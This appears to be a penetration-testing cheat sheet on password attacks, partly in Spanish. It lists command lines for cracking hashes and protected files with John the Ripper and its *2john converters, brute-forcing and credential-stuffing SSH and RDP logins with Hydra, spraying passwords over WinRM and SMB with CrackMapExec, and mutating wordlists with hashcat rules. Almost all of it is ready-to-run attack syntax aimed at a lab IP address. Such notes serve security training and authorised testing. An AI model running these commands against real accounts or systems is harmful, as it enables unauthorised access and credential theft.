Skip to content

John The Ripper

c
john --format=<hash_type> <hash or hash_file>
c
john --format=sha256 hashes_to_crack.txt
c
john --wordlist=<wordlist_file> --rules <hash_file>

Incremental Mode in John

c
john --incremental <hash_file>

Cracking Files

c
<tool> <file_to_crack> > file.hash
pdf2john server_doc.pdf > server_doc.hash

john server_doc.hash
# OR
john --wordlist=<wordlist.txt> server_doc.hash
c
locate *2john*

/usr/bin/bitlocker2john
/usr/bin/dmg2john
/usr/bin/gpg2john
/usr/bin/hccap2john
/usr/bin/keepass2john
/usr/bin/putty2john
/usr/bin/racf2john
/usr/bin/rar2john
/usr/bin/uaf2john
/usr/bin/vncpcap2john
/usr/bin/wlanhcx2john
/usr/bin/wpapcap2john
...SNIP...

Hydra

c
hydra -L user.list -P password.list ssh://10.129.42.197
c
 hydra -L user.list -P password.list rdp://10.129.42.197

Credential Stuffing - Hydra Syntax

c
 hydra -C <user_pass.list> <protocol>://<IP>
c
hydra -C user_pass.list ssh://10.129.42.197

CrackMapExec

c
crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
c
crackmapexec winrm 10.129.42.197 -u user.list -p password.list
c
crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares
c
smbclient -U user \\\\10.129.42.197\\SHARENAME

Password Mutations

Hashcat Rule File

c
cat custom.rule

Generating Rule-based Wordlist

c
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.lis

Hashcat Existing Rules

c
ls /usr/share/hashcat/rules/

Generación de listas de palabras basadas en reglas

Función*Descripción
:No hacer nada
lPoner todas las letras en minúscula.
uTodas las letras en mayúsculas.
cEscriba con mayúscula la primera letra y con minúscula las demás.
sXYReemplazar todas las instancias de X con Y.
$!Añade el carácter de exclamación al final.
c
cat custom.rule

:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@
c
$ hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
$ cat mut_password.list

password
Password
passw0rd
Passw0rd
p@ssword
P@ssword
P@ssw0rd
password!
Password!